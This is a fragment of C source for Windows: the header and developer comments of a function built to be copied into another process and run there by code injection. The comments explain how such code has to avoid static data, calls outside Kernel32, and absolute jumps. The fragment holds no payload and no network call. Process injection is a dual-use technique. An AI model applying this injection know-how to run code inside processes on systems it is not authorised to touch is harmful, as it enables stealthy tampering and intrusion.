static DWORD WINAPI RemoteCodeFunc(LPVOID lpThreadParameter)
{
	// This is the injected code of "part 1."

	// As this code is copied into another process it cannot refer to any static data (i.e. no string, GUID, etc. constants)
	// and it can only directly call functions that are within Kernel32.dll (which is all we need as it lets us call
	// LoadLibrary and GetProcAddress). The data we need (strings, GUIDs, etc.) is copied into the remote process and passed to
	// us in our InjectArgs structure.

	// The compiler settings are important. You have to ensure that RemoteCodeFunc doesn't do any stack checking (since it
	// involves a call into the CRT which may not exist (in the same place) in the target process) and isn't made inline
	// or anything like that. (Compiler optimizations are best turned off.) You need RemoteCodeFunc to be compiled into a
	// contiguous chunk of assembler that calls/reads/writes nothing except its own stack variables and what is passed to it via pArgs.

	// It's also important that all asm jump instructions in this code use relative addressing, not absolute. Jumps to absolute
	// addresses will not be valid after the code is copied to a different address in the target process. Visual Studio seems
	// to use absolute addresses sometimes and relative ones at other times and I'm not sure what triggers one or the other. For example,
	// I had a problem with it turning a lot of the if-statements in this code into absolute jumps when compiled for 32-bit and that
	// seemed to go away when I set the Release build to generate a PDF file, but then they came back again.
	// I never had this problem in February, and 64-bit builds always seem fine, but now in June I'm getting the problem with 32-bit
	// builds on my main machine. However, if I switch to the older compiler install and older Windows SDK that I have on another machine
	// it always builds a working 32-bit (and 64-bit) version, just like it used to. So I guess something in the compiler/SDK has triggered
	// this change but I don't know what. It could just be that things have moved around in memory due to a structure size change and that's
	// triggering the different modes... I don't know!
	//
	// So if the 32-bit version crashes the process you inject into, you probably need to work out how to convince the compiler
	// to generate the code it used to in February. :) Or you could write some code to fix up the jump instructions after copying them,
	// or hand-code the 32-bit asm (seems you can ignore 64-bit as it always works so far), or find a style of if-statement (or equivalent)
	// that always generates relative jumps, or whatever...
	//
	// Take a look at the asm_code_issue.png image that comes with the source to see what the absolute and relative jumps look like.
	//
	// PS: I've never written Intel assembler, and it's many years since I've hand-written any type of assembler, so I may have the wrong end
	// of the stick about some of this! Either way, 32-bit version works when built on my older compiler/SDK install and usually doesn't on
	// the newer install.
